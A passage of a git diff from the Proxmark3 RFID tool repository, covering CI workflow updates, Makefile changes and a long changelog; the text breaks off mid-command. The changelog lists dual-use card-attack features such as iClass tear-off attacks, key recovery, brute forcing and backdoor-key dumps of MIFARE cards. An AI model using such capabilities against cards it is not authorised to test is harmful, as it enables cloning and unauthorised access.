diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 05020ce34..e74f58591 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -21,6 +21,7 @@ Have you followed the instructions properly? ie, flashed bootrom seperately fi **Describe the bug** A clear and concise description of what the bug is. +Please include text output of the bug happening. **To Reproduce** Steps to reproduce the behavior: @@ -40,7 +41,7 @@ If applicable, add screenshots to help explain your problem. - inside proxmark3 client run the following commands and paste the output here. - hw version - hw status - - data tune + - hw tune **Additional context** Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/checklist-for-release.md b/.github/ISSUE_TEMPLATE/checklist-for-release.md index 6fa2002f9..649281a4a 100644 --- a/.github/ISSUE_TEMPLATE/checklist-for-release.md +++ b/.github/ISSUE_TEMPLATE/checklist-for-release.md @@ -31,9 +31,13 @@ Run `tools/release_tests.sh` on: - [ ] Kali - [ ] Debian Stable - [ ] Debian Testing -- [ ] Ubuntu 22 +- [ ] Ubuntu 24.04 (LTS) +- [ ] Ubuntu 24.10 +- [ ] Ubuntu 25.04 - [ ] ParrotOS -- [ ] Fedora 37 +- [ ] Fedora 41 (till 2025-11-19) +- [ ] Fedora 42 (till 2026-05-13) +- [ ] Fedora 43 (till 2026-12-02) - [ ] OpenSuse Leap - [ ] OpenSuse Tumbleweed - [ ] OSX (MacPorts) diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml index 85a06f0b3..26bac8435 100644 --- a/.github/workflows/codeql-analysis.yml +++ b/.github/workflows/codeql-analysis.yml @@ -12,6 +12,8 @@ name: "CodeQL" on: + workflow_dispatch: + push: branches: [ master ] pull_request: @@ -41,7 +43,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev - name: Install Python dependencies run: | diff --git a/.github/workflows/rebase.yml b/.github/workflows/rebase.yml index b1cc0e0c1..99c6f7b8d 100644 --- a/.github/workflows/rebase.yml +++ b/.github/workflows/rebase.yml @@ -2,6 +2,7 @@ on: pull_request_target name: Changelog Reminder jobs: remind: + if: github.repository_owner == 'RfidResearchGroup' name: Changelog Reminder runs-on: ubuntu-latest steps: diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index dd0d5d57b..cee57b83a 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -30,7 +30,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -60,7 +60,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt @@ -91,7 +91,7 @@ jobs: run: sudo apt-get update - name: Install dependencies - run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev + run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev - name: Install Python dependencies run: pip install -r tools/requirements.txt diff --git a/.github/workflows/uniq.yaml b/.github/workflows/uniq.yaml index e7223aaa8..3c114f844 100644 --- a/.github/workflows/uniq.yaml +++ b/.github/workflows/uniq.yaml @@ -18,5 +18,5 @@ jobs: - name: check unique keys in dic files shell: bash run: | - find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sort | uniq -i -d -c | sort -n -r " - if [[ $(find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sort | uniq -i -d -c | sort -n -r " | grep -v '^\./' | wc -l) -gt 0 ]]; then exit 1; fi + find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sed 's/\(.*\)/\U\1/' | sort | uniq -i -d -c | sort -n -r " + if [[ $(find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sed 's/\(.*\)/\U\1/' | sort | uniq -i -d -c | sort -n -r " | grep -v '^\./' | wc -l) -gt 0 ]]; then exit 1; fi diff --git a/CHANGELOG.md b/CHANGELOG.md index cc3c547f2..77ac7f3c5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,8 +3,214 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed from Bigbuf malloc to Bigbuf calloc calls on device side (@iceman1001) +- Added `lf t55xx view` - now viewing of T55XX dump files is possible (@iceman1001) +- Fixed `lf indala cone` - now writing the right bits when using `--fc` and `--cn` +- Changed readline hack logic for async dbg msg to be ready for readline 8.3 (@doegox) +- Improved To avoid conflicts with ModemManager on Linux, is recommended to masking the service (@grugnoymeme) +- Changed `data crypto` - now also handles AES-256 (@iceman1001) +- Changed `hf mfdes info` - add recognition of Swissbit iShield Key Mifare (@ah01) +- Changed `hf mf info` - add detection for unknown backdoor keys and for some backdoor variants (@doegox) +- Changed `mqtt` commnands - now honors preference settings (@iceman1001) +- Changed `prefs` - now handles MQTT settings too (@iceman1001) +- Fixed `mqtt` segfault and gdb warning under windows (proper thread stopping and socket handling). (@virtyvoid) +- Added `mqtt` - the pm3 client can now send and receive MQTT messages or json files. (@iceman1001) +- Changed `hf iclass wrbl` - replay behavior to use privilege escalation if the macs field is not passed empty(@antiklesys) +- Changed `hf iclass restore` - it now supports privilege escalation to restore card content using replay (@antiklesys) +- Fixed `hf 15 dump` - now reads sysinfo response correct (@iceman1001) +- Changed `make clean` - it now removes all __pycache__ folders (@iceman1001) +- Fixed `hf 15 readmulti` - fix block calculations (@iceman1001) +- Changed `mem load` - now handles UL-C and UL-AES dictionary files (@iceman1001) +- Changed `hf mfu sim` - now support UL-C simulation (@iceman1001) +- Added `!` - run system commands from inside the client. Potentially dangerous if running client as SUDO, SU, ROOT (@iceman1001) +- Implemented `hf felica scsvcode` - now dumps all service and area codes. (@zinongli) +- Added `hf felica liteauth` - now support FeliCa Lite-S authentication(@q0jt) +- Added `he felica dump` - partial support for dumping all blocks from unauth readable services (@zinongli) +- Changed `hf 14b calypso` - now don't break the file id loop when one file can't be selected or read. Add new file ids to iterate through (@zinongli) -## [Backdoor][2024-09-10] + +## [Daddy Iceman.4.20469][2025-06-16] +- Fixed edge case in fm11rf08s key recovery tools (@doegox) +- Removed `--par` from `lf em 4x70` commands. +- Changed `hf 14a info` - refactored code to be able to detect card technology across the client easier (@iceman1001) +- Changed `hf mf info` - now informs better if a different card technology is detected (@iceman1001) +- Changed `hf mf autopwn` - now exits if desfire is detected and limit attacks if mifare plus is detected (@iceman1001) +- Changed `hf mfp chk` - improved key handling and output (@iceman1001) +- Fix `hf mf dump` - added a check for keyfile to contain enough keys for card (@iceman1001) +- Fix `hf mf eview` - now viewing 2k, 4k cards doesn't get wrong background color (@iceman1001) +- Changed `hf mf info` - skip checking if it detects a MIFARE Ultralight family card (@iceman1001) +- Changed `hf mf rdsc` - it now addeds the used key to the output in the sector trailer (@iceman1001) +- Added the `PM3ULTIMATE` platform in the build / docs. *untested* (@iceman1001) +- Added fpga compilation for PM3ULTIMATE device (@n-hutton) +- Updated the ATR list (@iceman1001) +- Fixed fpga binary images to use fixed seed 2 (@n-hutton) +- Added `hf iclass sam --info` - option that returns sam specific details (@antiklesys) +- Changed `hf iclass sim -t 7` - implemented simulation that glitches key block responses (@antiklesys) +- Changed `hf iclass sim -t 6` - implemented simulation that glitches sio block (@antiklesys) +- Changed `hf iclass legbrute` - implemented multithreading support (@antiklesys) +- Changed `hf iclass legrec` - added a --sl option for further speed increase by tweaking the communication delays (@antiklesys) +- Changed `hf iclass legrec` - added a --fast option for further speed increase and automated AA2 block selection (@antiklesys) +- Changed `hf iclass legrec` - additional code optimizations gaining a ~147% speed increase (@antiklesys) +- Changed `hf iclass tear` - readability improvements for erase phase (@antiklesys) +- Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys) +- Modified `hf iclass tear` - now has a device side implementation also. (@antiklesys) (@iceman1001) +- Changed `hf iclass info` - now uses CSN values based checks (@antiklesys) +- Changed `hf iclass dump` - now uses default AA1 key when called without a key or key index (@iceman1001) +- Renamed `hf iclass trbl` to `hf iclass tear` (@iceman1001) +- Changed `hw tearoff` - the device side message is now debug log controlled (@iceman1001) +- Changed `pm3.sh` - Serial ports enumeration on Proxspace3.xx / MINGW environments, now using powershell.exe since wmic is deprecated (@iceman1001) +- Fixed `hf iclass trbl` - to correctly use the credit key when passed and show partial tearoff results (@antiklesys) +- Fixed `hf iclass legbrute` was not correctly parsing the index value +- Fixed `hf mf ekeyprn` - failed to download emulator memory due to wrong size calculation (@iceman1001) +- Fixed `hf mf fchk --mem` to actually use flash dict (@doegox) +- Fixed `make install` on OSX thanks DaveItsLong (@doegox) +- Added new standalone mode `HF_ST25_TEAROFF` to store/restore ST25TB tags with tearoff for counters (@seclabz) +- Added `hf_mfu_ultra.lua` script enables restoring dump to ULTRA/UL-5 tags and clearing previously written ULTRA tags (@mak-42) +- Fixed `hf mfu sim` to make persistent the counter increases in the emulator memory (@sup3rgiu) +- Fixed `hf mf mad` to correctly display MAD version 2 card publisher sector (@BIOS9) +- Fixed `lf hitag dump` and related commands stability when tag is configured in public mode/TTF mode (@rfidgeek1337) + +## [Blue Ice.4.20142][2025-03-25] +- Added `des_talk.py` script for easier MIFARE DESFire handling (@trigat) +- Fixed `hf 14b info` - wrong endianess when looking for lock bits etc (@gentilkiwi) +- Changed `hf mf autopwn` - tries to detect static encrypted nonces and also user cancel during chk keys (@iceman1001) +- Changed `hf mf autopwn` - added option to use SPI flash dictionary (@jmichelp) +- Changed `trace list -t seos` - now annotate ISO7816 (@iceman1001) +- Updated aid and mad json files (@iceman1001) +- Changed `hf 14a apdu` - now can be interrupted and dynamically adds time (@iceman1001) +- Changed `trace list -t` - shortend the hitag types (@iceman1001) +- Added Be-Tech identification (@iceman1001) +- Added `lf em 410x clone --htu` clone EM410x ID to Hitag µ/8265 (@douniwan5788) +- Added `lf hitag htu` support for Hitag µ/8265 (@douniwan5788) +- Added `hf mfu aesauth` based on existing UL AES support (@doegox) +- Changed `hf mfu sim` deny OTP changes with all zeros (@iceman1001) +- Added missing file in CMakeLists.txt (@iceman1001) +- Changed `lf em 4x70` internals on ARM side; Enabling improved debugging and reliability (@henrygab) +- Improved `pcf7931` generic readability of the code. Unified datatypes and added documentation/explainations (@tinooo) +- Improved `lf pcf7931` read code - fixed some checks for more stability (@tinooo) +- Changed `trace list -t seos` - improved annotation (@iceman1001) +- Added `make commands` to regenerate commands documentation files and autocompletion data independently of `make style` (@doegox) +- Added texecom identification, thanks @en4rab ! (@iceman1001) +- Added `hf 15 slixprotectpage` command +- Fixed `hf mf gload` - missing parameter (@iceman1001) +- Changed `hf mf gload` - now handles 1k ev1 sized dumps (@iceman1001) +- Changed wiegand format unpack functions to clear struct later (@iceman1001) +- Changed `wiegand decode` - now accepts new padding format (@iceman1001) +- Changed `mem spiffs tree` - ID is now shown in decimal (@iceman1001) +- Added sample wiegand format 56bit (@iceman1001) +- Changed Wiegand formats to include number of bits (@iceman1001) +- Fixed compilation warning in hitagS (@iceman1001) +- Added new wiegand format H800002 (@jmichelp) +- Changed `Makefile.platform.sample` file - now have clear instructions for generating images for other proxmark3 hardware (@iceman1001) +- Changed `doc/magic_cards_notes.md` - now contains documentation for iKey LLC's MF4 tag (@team-orangeBlue) +- Changed `hf mf cload` - now accepts MFC Ev1 sized dumps (@iceman1001) +- Changed `hf mfu info` - now properly identify ULEv1 AES 50pF (@iceman1001) +- Changed `hf mf info` - now differentiates between full USCUID and cut down ZUID chips (@nvx) +- Changed `lf hitag chk` - added key counter, client side abort and minor delay (@iceman1001) +- Added `hf seos sam` - Added support for HID SAM SEOS communications (@jkramarz) +- Changed the extended area accessible by spiffs into last page of FLASH (@piotrva) +- Changed flash-stored key dictionaries (Mifare, iClass, T55XX) and T55XX configurations to SPIFFS files (@piotrva) +- Changed `lf em 410x sim` to use default gap value of 0 and extended help (@piotrva) +- Changed `hf 14a info` - now identifies MIAFRE Duox (@iceman1001) +- Added `hf iclass trbl` to perform tear-off attacks on iClass (@antiklesys) +- Added support for connection to host device in all Docker envs (@doegox) +- Changed `hf 15 info` to show all type matches and check ST25TVxC signature (@doegox) +- Added initial support for ST25TN and its signature verification (@doegox) +- Changed originality checks handling to refactor code and pk data (@doegox) +- Changed `uniq.yaml` workflow to be case-insensitive (@iceman1001) +- Fixed `mem load --mfc` not erasing all SPI flash blocks after extending to 4095 keys (@piotrva) +- Changed extended area for Mifare keys in SPI flash to hold 4095 keys (@piotrva) +- Fixed DESFire D40 secure channel crypto (@nvx) +- Fixed `hf mfp info` fix signature check on 4b UID cards (@doegox) +- Changed `hf_mf_ultimatecard` - it now automatically set maximum read/write block when using predefined types (@piotrva) +- Changed SPI flash detection to calculate the size instead of table lookup (@ANTodorov) +- Changed `spi_flash_decode.py` script with more ICs (@ANTodorov) +- Fixed `hf/lf tune` segfault when called from script (@doegox) +- Changed `hf_mf_ultimatecard` - added option to set and get maximum read/write block number (@piotrva) +- Added JEDEC information for SPI flash W25Q64JV (@ANTodorov) +- Changed `hf iclass configcard` - added special iclass legacy config cards (@antiklesys) +- Changed `hf iclass legrec` - added simulation function (@antiklesys) +- Added keys from Momentum firmware projects. (@onovy) +- Added Dutch Statistics Agency default key (@eagle00789) +- Fixed Wiegand decode with hex input dropping the first bit (@emilyastranova) +- Changed `hf mf autopwn` - now allows for custom suffix (@zxkmm) + +## [Orca.4.19552][2024-11-22] +- Fixed `hf_legic.lua` - removed bit32 commands from the script (@diorch1968) +- Fixed `mem spiffs tree` - now show correct symlink name (@ANTodorov) +- Fixed `mem spiffs wipe` - reported file/link names is now correct (@ANTodorov) +- Updated atrs list (@iceman1001) +- Added support for a new KDF (@iceman1001) +- Added Inner range aid and mad entries (@iceman1001) +- Changed `mem spiffs` - Use all available space in SPI flash (@ANTodorov) +- Fixed `hf mf sim` - wrong size check in MifareSim (@iceman1001) +- Fixed `hf mf sim` not to respond to authentication attempts for sectors out of bound for selected Mifare type (@piotrva) +- Added option to build against non-default python3 with CMake as well (@doegox) +- Added option to build against non-default python3 with Makefile (@ANTodorov) +- Changed `hf 14a info` `hf mf info` - now detects FM1216-137 CPU cards (@iceman1001) +- Changed `hf iclass configcard` - expanding the list of available options and functionalities (@antiklesys) +- Fixed `intertic.py` - missing comma in array (@iceman1001) +- Changed `hf iclass legrec` - improved algorithm leveraging reduced entropy from hash0 constraints (@antiklesys) +- Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys) +- Changed `hf mf c*` - now accepts a --gdm flag to write using uscuid/gdm 20/23 alt magic wakeup (@nvx) +- Changed `pm3_console()` - Python/Lua/C: replace `passthru` by `capture` and `quiet` (@doegox) +- Fixed `hf iclass list` - annotation crc handled better (@iceman1001) +- Fixed `hf_mf_uscuid_prog.lua` - bad divisions and code style fixes (@iceman1001) +- Changed `hf iclass info` - now checks for cards silicon version (@antiklesys) +- Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) +- Added recovered iclass custom key to dictionary (@antiklesys) +- Added support for all Hitag S response protocol mode (@douniwan5788) +- Fixed `hf_young` - flags declaration was missing a semicolon (@jakkpotts) +- Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox) +- Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001) +- Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001) +- Changed `hf iclass chk` - now loads dictionary file by default (@iceman1001) +- Added Makefile variable `DONT_BUILD_NATIVE` in mfd_aes_brute Makefile to easify downstream package (@Cryolitia) +- Auto detect whether compile option `march=native` is supported for mfd_aes_brute Makefile +- Changed `hf mf sim` - support data-first and nested reader attacks (@doegox) +- Fixed `lf search` and `lf em 4x50 rdbl -b ` does not coredump reading EM4450 tag (@ANTodorov) +- Fixed flashing - client doesnt fail every other flash attempt (@iceman1001) +- Changed `pref show` - add option to dump as JSON (@doegox) +- Changed `mf_backdoor_dump.py`- use faster ecfill/eview (@doegox) +- Changed `hf mf ecfill` - wait for execution and return status (@doegox) +- Changed `hf 14a reader` - added option to wait for a card (@doegox) +- Changed `hf mf ecfill` - added support for quick dump via backdoor auth (@doegox) +- Fixed `hf mf restore` - really skip strict ACLs unless --force (@doegox) +- Added `hf 14b setuid` - set uid on magic 14b tag (@iceman1001) +- Changed `hf 14b info` - now detect Tiananxin (@iceman1001) +- Fixed `lf em 410x brute` - better filehandling and memory handling (@iceman1001) +- Changed split PacketResponseNG status into status and reason (@douniwan5788) +- Added `spi_flash_decode.py` - helper script to decode JEDEC data (@ANTodorov) +- Changed `hw status` - now show SPI flash JEDEC Manufacturer ID and Device ID in output (@ANTodorov) +- Changed `hf iclass configcards` to support generating config cards using a different key than the default k0 as the card's key (@antiklesys) +- Added maur keys (@iceman1001) +- Fixed `hf mfu pwdgen` for the 7 byte UID (@ANTodorov) +- Added `hf iclass unhash` command to reverse an iclass diversified key to hash0 pre-images (@antiklesys) +- Changed `hf 14a raw` - now supports crypto (@doegox) +- Changed `hw version` command to print LUA and Python versions (@jmichelp) +- Updated LUA to v5.4.7 which adds utf-8 support (@jmichelp) +- Moved `lf hitag sim --hts` -> `lf hitag hts sim` (@douniwan5788) +- Removed `lf hitag read/write --hts` (@douniwan5788) +- Changed `lf search` - it now tries to read and decode paxton id (@iceman1001) +- Changed `lf search` - to identify hitag2/s/82xx in chipset detection to preserve their EM4100 or other outputs (@iceman1001) +- Added `lf hitag hts reader` - to act as a HitagS / 82xx reader (@iceman1001) +- Changed `lf hitag hts write` -> `lf hitag hts wdbl` to fit rest of client command names (@iceman1001) +- Changed `lf hitag hts read` -> `lf hitag hts rdbl` to fit rest of client command names (@iceman1001) +- Changed `hf mf info` - Better handling when printing ATS (@iceman1001) +- Changed to also try the MFC_B key when extracting memory (@iceman1001) +- Fixed `make -j check` Thanks @elboulangero (@iceman1001) +- Added support for 8268/8310 (@douniwan5788) +- Changed scripting string params to accept 1024 chars, Thanks @evildaemond! (@iceman1001) +- Added detection for FM11NT021 (@iceman1001) +- Added detection of a magic NTAG 215 (@iceman1001) +- Fixed hardnested on AVX512F #2410 (@xianglin1998) +- Added `hf 14a aidsim` - simulates a PICC and allows you to respond to specific AIDs and getData responses (@evildaemond) +- Fixed arguments for `SimulateIso14443aTag` and `SimulateIso14443aInit` in `hf_young.c`, `hf_aveful.c`, `hf_msdsal.c`, `hf_cardhopper.c`, `hf_reblay.c`, `hf_tcprst.c` and `hf_craftbyte.c` (@archi) +- Added `mf_backdoor_dump.py` script that dumps FM11RF08S and similar (Mifare Classic 1k) tag data that can be directly read by known backdoor keys. (@Aptimex) +- Added keys for Metro Q transit cards in Huston, TX. (@Anarchothulhu) +- Added keys from MifareClassicTool and Flipper projects. (@onovy) + +## [Backdoor.4.18994][2024-09-10] - Changed flashing messages to be less scary (@iceman1001) - Fixed docker containers and their documentation (@doegox) - Fixed `hf ict` - buffer overflow (@doegox) @@ -1672,7 +1878,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `lf t55xx recoverpw` - adds a new password recovery using bitflips and partial flips if password write went bad. (@alexgrin) - `hf legic` - added improved legic data mapping. (jason) - `hf mf mifare` - added possibility to target key A|B (@douniwan5788) - - Added `analyse lcr` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001) + - Added `analyse lrc` - added a new main command group, to help analysing bytes & bits & nibbles. (@iceman1001) - Added `lf nedap` - added identification of a NEDAP tag. (@iceman1001) - `lf viking clone` - fixed a bug. (@iceman1001) - Added bitsliced bruteforce solver in `hf mf hardnested` (@Aczid) diff --git a/Makefile b/Makefile index 30ddd146e..c985246d5 100644 --- a/Makefile +++ b/Makefile @@ -32,6 +32,9 @@ endif all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfc_card_only/% mfc_card_reader/% mfd_aes_brute/% fpga_compress/% cryptorf/% # hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack" #all clean install uninstall check: %: hitag2crack/% +clean: %: hitag2crack/% + find . -type d -name __pycache__ -exec rm -rfv \{\} + + INSTALLTOOLS=mfc/pm3_eml2lower.sh mfc/pm3_eml2upper.sh mfc/pm3_mfdread.py mfc/pm3_mfd2eml.py mfc/pm3_eml2mfd.py pm3_amii_bin2eml.pl pm3_reblay-emulating.py pm3_reblay-reading.py INSTALLSIMFW=sim011.bin sim011.sha512.txt sim013.bin sim013.sha512.txt sim014.bin sim014.sha512.txt @@ -114,10 +117,10 @@ cryptorf/check: FORCE $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) mfc_card_only/check: FORCE $(info [*] CHECK $(patsubst %/check,%,$@)) - $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) + $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) nonce2key staticnested $(patsubst %/check,%,$@) mfc_card_reader/check: FORCE $(info [*] CHECK $(patsubst %/check,%,$@)) - $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) + $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) mfkey mf_nonce_brute $(patsubst %/check,%,$@) mfd_aes_brute/check: FORCE $(info [*] CHECK $(patsubst %/check,%,$@)) $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) @@ -204,6 +207,7 @@ help: @echo "+ fpga_compress - Make tools/fpga_compress" @echo @echo "+ style - Apply some automated source code formatting rules" + @echo "+ commands - Regenerate commands documentation files and autocompletion data" @echo "+ check - Run offline tests. Set CHECKARGS to pass arguments to the test script" @echo "+ .../check - Run offline tests against specific target. See above." @echo "+ miscchecks - Detect various encoding issues in source code" @@ -263,8 +267,11 @@ ifeq ($(PLATFORM_CHANGED),true) $(Q)$(MAKE) --no-print-directory -C bootrom clean $(Q)$(MAKE) --no-print-directory -C armsrc clean $(Q)$(MAKE) --no-print-directory -C recovery clean - $(Q)$(MAKE) --no-print-directory -C client clean $(Q)$(MAKE) --no-print-directory -C tools/fpga_compress clean +# clean the client only if PLATFORM got changed from or to PM3ICOPYX +ifeq (PM3ICOPYX,$(filter PM3ICOPYX, $(PLATFORM) $(CACHED_PLATFORM))) + $(Q)$(MAKE) --no-print-directory -C client clean +endif $(Q)$(ECHO) CACHED_PLATFORM=$(PLATFORM) > .Makefile.options.cache $(Q)$(ECHO) CACHED_PLATFORM_EXTRAS=$(PLATFORM_EXTRAS) >> .Makefile.options.cache $(Q)$(ECHO) CACHED_PLATFORM_DEFS=$(PLATFORM_DEFS) >> .Makefile.options.cache @@ -303,27 +310,28 @@ endif # easy printing of MAKE VARIABLES print-%: ; @echo $* = $($*) -style: +style: commands # Make sure astyle is installed @command -v astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 ) # Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile, *.v, pm3 - find . \( -not -path "./cov-int/*" -and -not -path "./fpga*/xst/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ - -exec perl -pi -e 's/[ \t]+$$//' {} \; \ - -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ - -exec sh -c "echo >> {}" \; + find . \( -not -path "./cov-int/*" -and -not -path "./fpga*/xst/*" -and -not -path "./venv*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ + -exec perl -pi -e 's/[ \t]+$$//' {} \; \ + -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ + -exec sh -c "echo >> {}" \; # Apply astyle on *.c, *.h, *.cpp - find . \( -not -path "./cov-int/*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ - --indent=spaces=4 --indent-switches \ - --keep-one-line-blocks --max-instatement-indent=60 \ - --style=google --pad-oper --unpad-paren --pad-header \ - --align-pointer=name {} \; + find . \( -not -path "./cov-int/*" -and -not -path "./venv*" -and \( \( -name "*.[ch]" -and -not -name "ui_overlays.h" \) -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ + --indent=spaces=4 --indent-switches \ + --keep-one-line-blocks --max-continuation-indent=60 \ + --style=google --pad-oper --unpad-paren --pad-header \ + --align-pointer=name {} \; + +commands: client # Update commands.md [ -x client/proxmark3 ] && client/proxmark3 -m | tr -d '\r' > doc/commands.md # Make sure python3 is installed @command -v python3 >/dev/null || ( echo "Please install 'python3' package first" ; exit 1 ) # Update commands.json, patch port in case it was run under Windows [ -x client/proxmark3 ] && client/proxmark3 --fulltext | sed 's#com[0-9]#/dev/ttyACM0#'|python3 client/pyscripts/pm3_help2json.py - - | tr -d '\r' > doc/commands.json - # Update the readline autocomplete autogenerated code [ -x client/proxmark3 ] && client/proxmark3 --fulltext | python3 client/pyscripts/pm3_help2list.py - - | tr -d '\r' > client/src/pm3line_vocabulary.h @@ -341,7 +349,7 @@ miscchecks: # Make sure recode is installed @command -v recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 ) @echo "Files with suspicious chars:" - @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ + @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and -not -path "./venv*" -and \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" -or -name "pm3" \) \) \ -exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \; ifneq (,$(EDIT)) @echo "Files with tabs: (EDIT enabled, files will be rewritten!)" @@ -349,7 +357,7 @@ else @echo "Files with tabs: (rerun with EDIT=1 if you want to convert them with vim)" endif # to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq' - @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and -not -wholename "./client/src/pm3_*wrap.c" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \ + @find . \( -not -path "./cov-int/*" -and -not -path "./client/deps/*" -and -not -path "./venv*" -and -not -wholename "./client/src/pm3_*wrap.c" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" -or -name "pm3" \) \) \ -exec sh -c "$(TABSCMD)" \; # @echo "Files with printf \\\\t:" # @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name 